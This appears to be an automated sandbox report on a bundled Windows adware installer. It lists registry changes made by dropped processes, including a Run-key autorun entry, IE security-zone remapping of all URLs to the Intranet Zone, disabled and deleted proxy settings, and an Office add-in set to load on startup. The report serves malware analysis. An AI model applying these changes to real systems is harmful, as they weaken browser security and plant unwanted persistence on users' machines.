[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The process mankind.exe:2904 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A 9F 2A 77 F8 90 76 AF F7 56 90 07 A5 B7 F6 D7"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%System%\config\systemprofile\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%System%\config\systemprofile\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%System%\config\systemprofile\Local Settings\Temporary Internet Files"

The process AppleDTAssistant.exe:1856 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"regsvr32.exe" = "Microsoft(C) Register Server"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\AppleDesktop]
"UOD" = "1008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\AppleDesktop]
"POD" = "5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\AppleDesktop]
"qd" = "28"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0C F1 56 0A FA 36 81 2B 2B 48 0C E0 E4 C5 87 E1"

[HKCU\Software\AppleDesktop]
"InstVersion" = "2.0.1.1001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process regsvr32.exe:2112 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCR\TypeLib\{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}\1.0\FLAGS]
"(Default)" = "0"

[HKCU\Software\Classes\WpsAssist.Control.1\CLSID]
"(Default)" = "{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}"

[HKCU\Software\Classes\WpsAssist.Addins]
"(Default)" = "WpsAssist Class"

[HKCU\Software\Classes\WpsAssist.Addins.1\CLSID]
"(Default)" = "{C800994F-EC9B-46F9-9B01-31CE04E90063}"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\TypeLib]
"(Default)" = "{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}"

[HKCU\Software\Microsoft\Office\Powerpoint\Addins\WpsAssist.Addins]
"Description" = "PPTÃÀ»¯´óʦ"

[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\TypeLib]
"(Default)" = "{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}"

[HKCU\Software\Microsoft\Office\Word\Addins\WpsAssist.Addins]
"CommandLineSafe" = "1"

[HKCU\Software\Classes\WpsAssist.Addins.1]
"(Default)" = "WpsAssist Class"

[HKCU\Software\Microsoft\Office\Excel\Addins\WpsAssist.Addins]
"CommandLineSafe" = "1"

[HKCR\Interface\{CE895442-9981-4315-AA85-4B9A5C7739D8}\TypeLib]
"(Default)" = "{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}"

[HKCR\Interface\{D5D8E0B6-F42F-43B2-BE45-7A065242F6EE}]
"(Default)" = "IWpsAssistControl"

[HKCU\Software\Classes\WpsAssist.Control.1]
"(Default)" = "WpsAssistControl Class"

[HKCU\Software\Microsoft\Office\Word\Addins\WpsAssist.Addins]
"Description" = "PPTÃÀ»¯´óʦ"

[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\ProgID]
"(Default)" = "WpsAssist.Addins.1"

[HKCU\Software\Microsoft\Office\Excel\Addins\WpsAssist.Addins]
"Description" = "PPTÃÀ»¯´óʦ"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\VersionIndependentProgID]
"(Default)" = "WpsAssist.Control"

[HKCU\Software\Microsoft\Office\Word\Addins\WpsAssist.Addins]
"FriendlyName" = "PPTÃÀ»¯´óʦ"

[HKCU\Software\Classes\WpsAssist.Control]
"(Default)" = "WpsAssistControl Class"

[HKCU\Software\Microsoft\Office\Excel\Addins\WpsAssist.Addins]
"LoadBehavior" = "3"

[HKCU\Software\Classes\WpsAssist.Control\CLSID]
"(Default)" = "{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}"

[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\InprocServer32]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\wpsassist.dll"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\InprocServer32]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\wpsassist.dll"

[HKCU\Software\Microsoft\Office\Powerpoint\Addins\WpsAssist.Addins]
"CommandLineSafe" = "1"

[HKCR\Interface\{CE895442-9981-4315-AA85-4B9A5C7739D8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\Version]
"(Default)" = "1.0"

[HKCU\Software\Classes\WpsAssist.Control\CurVer]
"(Default)" = "WpsAssist.Control.1"

[HKCR\Interface\{CE895442-9981-4315-AA85-4B9A5C7739D8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCU\Software\Classes\WpsAssist.Addins\CurVer]
"(Default)" = "WpsAssist.Addins.1"

[HKCR\Interface\{CE895442-9981-4315-AA85-4B9A5C7739D8}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}\1.0]
"(Default)" = "WpsAssist 1.0 ÀàÐÍ¿â"

[HKCR\Interface\{D5D8E0B6-F42F-43B2-BE45-7A065242F6EE}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}]
"(Default)" = "WpsAssist Class"

[HKCU\Software\Microsoft\Office\Powerpoint\Addins\WpsAssist.Addins]
"FriendlyName" = "PPTÃÀ»¯´óʦ"

[HKCU\Software\Microsoft\Office\Word\Addins\WpsAssist.Addins]
"LoadBehavior" = "3"

[HKCU\Software\Microsoft\Office\Powerpoint\Addins\WpsAssist.Addins]
"LoadBehavior" = "3"

[HKCR\TypeLib\{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}\1.0\HELPDIR]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist"

[HKCU\Software\Microsoft\Office\Excel\Addins\WpsAssist.Addins]
"FriendlyName" = "PPTÃÀ»¯´óʦ"

[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E8 97 9C 28 1F 3A 86 00 08 F9 F3 B5 F9 BF C2 D2"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\ProgID]
"(Default)" = "WpsAssist.Control.1"

[HKCR\Interface\{D5D8E0B6-F42F-43B2-BE45-7A065242F6EE}\TypeLib]
"(Default)" = "{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}"

[HKCU\Software\Classes\WpsAssist.Addins\CLSID]
"(Default)" = "{C800994F-EC9B-46F9-9B01-31CE04E90063}"

[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\VersionIndependentProgID]
"(Default)" = "WpsAssist.Addins"

[HKCR\Interface\{D5D8E0B6-F42F-43B2-BE45-7A065242F6EE}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{CE895442-9981-4315-AA85-4B9A5C7739D8}]
"(Default)" = "IRibbonCallback"

[HKCR\Interface\{D5D8E0B6-F42F-43B2-BE45-7A065242F6EE}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{D68E2E9E-75B9-4D1A-99DB-5C83A17D5518}\1.0\0\win32]
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\wpsassist.dll"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}]
"(Default)" = "WpsAssistControl Class"

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\InprocServer32]
"ThreadingModel" = "Apartment"

The Dropped deletes the following registry key(s):

[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\InprocServer32]
[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\VersionIndependentProgID]
[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\Programmable]
[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}]
[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\VersionIndependentProgID]
[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\TypeLib]
[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}]
[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\InprocServer32]
[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\Version]
[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\ProgID]
[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\TypeLib]
[HKCU\Software\Classes\CLSID\{C800994F-EC9B-46F9-9B01-31CE04E90063}\ProgID]
[HKCU\Software\Classes\CLSID\{8BAB4A62-0A52-48DB-A768-F57A7A6B4994}\Programmable]

The process regsvr32.exe:500 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "07 73 7C 27 97 C1 0E BE AB 38 1F 25 08 AB 86 AD"

The process regsvr32.exe:2324 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 64 24 7F 45 C2 5E 45 46 EE FE 99 85 D3 55 2E"

The process kindness.exe:2856 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 4D C8 8E DB A8 52 5C CC 16 4D C9 6C 80 3C 14"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

The process Application Dataypfbyfgmr.exe:2796 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 9E D6 00 9B D6 DA E7 06 D8 CE CF CE 68 F0 54"

The process iApple.exe:1748 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4A 81 F7 6F F4 8E 02 68 A1 40 75 03 53 48 48 F4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001]
"AppleDesktop.exe" = "苹果桌面"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process apples_5_1008.exe:816 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹û×ÀÃæ]
"InstallDate" = "2014-9-18"

[HKCU\Software\AppleDesktop]
"DisableAutorun" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹û×ÀÃæ]
"DisplayName" = "Æ»¹û×ÀÃæ"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹û×ÀÃæ]
"DisplayVersion" = "2.0.1.1001"
"Publisher" = "³É¶¼Áª»ªÐÅͨ¿Æ¼¼ÓÐÏÞ¹«Ë¾"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\iApple.exe]
"(Default)" = "%Documents and Settings%\%current user%\Application Data\AppleDesktop\iApple.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\iApple.exe]
"Path" = "%Documents and Settings%\%current user%\Application Data\AppleDesktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹û×ÀÃæ]
"DisplayIcon" = "%Documents and Settings%\%current user%\Application Data\AppleDesktop\iApple.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F6 FB 30 D5 CA C6 3D 19 E1 9B DC F4 37 BC E1 EB"

[HKCU\Software\AppleDesktop]
"InstVersion" = "2.0.1.1001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹û×ÀÃæ]
"UninstallString" = "%Documents and Settings%\%current user%\Application Data\AppleDesktop\uninst.exe /from=reg"
"InstallLocation" = "%Documents and Settings%\%current user%\Application Data\AppleDesktop"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Æ»¹û×ÀÃæ" = "%Documents and Settings%\%current user%\Application Data\AppleDesktop\iApple.exe /from=autorun"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process tqrl_89_177560.exe:1644 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\inskk]
"Install" = "1"

[HKLM\SOFTWARE\tianqic]
"ED" = "89"
"EN" = "tqrl_89_177560.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 25 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\tianqic]
"et" = "2014-9-18"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\tqrili]
"DisplayIcon" = "%Documents and Settings%\%current user%\Application Data\tqrili\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\tianqic]
"EX" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\vgkk]
"in1" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

